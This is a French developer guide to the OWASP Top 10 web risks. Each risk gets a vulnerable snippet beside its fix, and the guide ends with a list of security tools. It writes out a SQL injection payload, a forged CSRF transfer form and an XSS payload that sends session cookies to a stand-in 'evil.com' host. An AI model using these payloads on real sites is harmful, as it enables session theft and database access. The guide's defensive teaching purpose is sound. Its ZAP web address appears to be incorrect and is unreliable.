Introduction à la cybersécurité web pour développeurs

Chaque semaine, des milliers d'applications web sont compromises — non par des hackers sophistiqués, mais par des vulnérabilités élémentaires connues depuis des décennies. L'OWASP Top 10 recense les risques les plus critiques. Ce guide explique chacun avec des exemples concrets et les contre-mesures à implémenter.

1. Injection SQL — La plus dangereuse

Une injection SQL permet à un attaquant d'exécuter des requêtes arbitraires dans votre base de données.

// ❌ VULNÉRABLE — ne jamais faire ça
$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
// Si username = ' OR '1'='1, TOUTE la table est retournée

// ✅ SÉCURISÉ — requêtes préparées avec PDO
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['username']]);

2. XSS — Cross-Site Scripting

Le XSS permet d'injecter du JavaScript malveillant dans une page vue par d'autres utilisateurs.

// ❌ VULNÉRABLE — afficher du HTML non sanitisé
document.getElementById('output').innerHTML = userInput;
// Si userInput = <script>document.location='https://evil.com?c='+document.cookie</script>
// → vol de cookie de session

// ✅ SÉCURISÉ — textContent au lieu de innerHTML
document.getElementById('output').textContent = userInput;

// ✅ En PHP — htmlspecialchars
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');

Configurez aussi le Content-Security-Policy header pour limiter les sources de scripts autorisées :

add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'" always;

3. CSRF — Cross-Site Request Forgery

Le CSRF trompe un utilisateur authentifié pour qu'il exécute une action à son insu (virement, changement d'email…).

<!-- ❌ VULNÉRABLE — formulaire sans token -->
<form action="/transfer" method="POST">
  <input name="amount" value="1000">
  <input name="to" value="attacker">
</form>

<!-- ✅ SÉCURISÉ — avec CSRF token -->
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="<?= $csrfToken ?>">
  <input name="amount" value="1000">
</form>

4. Gestion des authentifications

• Ne jamais stocker les mots de passe en clair — bcrypt avec coût ≥ 12
• Implémenter le rate limiting sur /login (max 5 tentatives/15min)
• Tokens JWT : vérifier la signature ET l'expiration, ne jamais accepter alg:none
• Session IDs : régénérer après login, HTTPOnly + Secure + SameSite=Strict
• 2FA par TOTP (Google Authenticator) pour les comptes sensibles

// ✅ Hachage bcrypt correct
import bcrypt from 'bcrypt';
const hash = await bcrypt.hash(password, 12);
const valid = await bcrypt.compare(inputPassword, hash);

5. Exposition de données sensibles

• Ne jamais logger de mots de passe, tokens ou numéros de carte
• Variables d'environnement dans .env (jamais dans le code)
• .env dans .gitignore — vérifiez l'historique git si vous avez commis l'erreur
• HTTPS partout — même les APIs internes entre microservices
• Chiffrer les données sensibles au repos (AES-256)

# Vérifier si des secrets traînent dans git
git log --all --full-history -- "*.env"
git secrets --scan  # outil GitHub
trufflehog git file://. --only-verified  # scanner de secrets

6. Mauvaise configuration de sécurité

• Supprimer les pages d'erreur détaillées en production
• Désactiver les directory listings NGINX/Apache
• Retirer les headers qui révèlent votre stack (X-Powered-By, Server)
• Interfaces d'admin non exposées publiquement (phpMyAdmin, Adminer)
• Docker : ne jamais exposer le socket Docker sans authentification

# Masquer la version du serveur
server_tokens off;

# Désactiver le directory listing
autoindex off;

# Retirer X-Powered-By (PHP)
fastcgi_hide_header X-Powered-By;

Outils pour tester votre sécurité

• OWASP ZAP (zap.browseall.com) — scanner de vulnérabilités gratuit
• Burp Suite Community — proxy d'interception et tests manuels
• sqlmap — test d'injection SQL automatisé (sur vos propres sites)
• nikto — scanner de serveur web
• Snyk / Dependabot — vulnérabilités dans vos dépendances npm/pip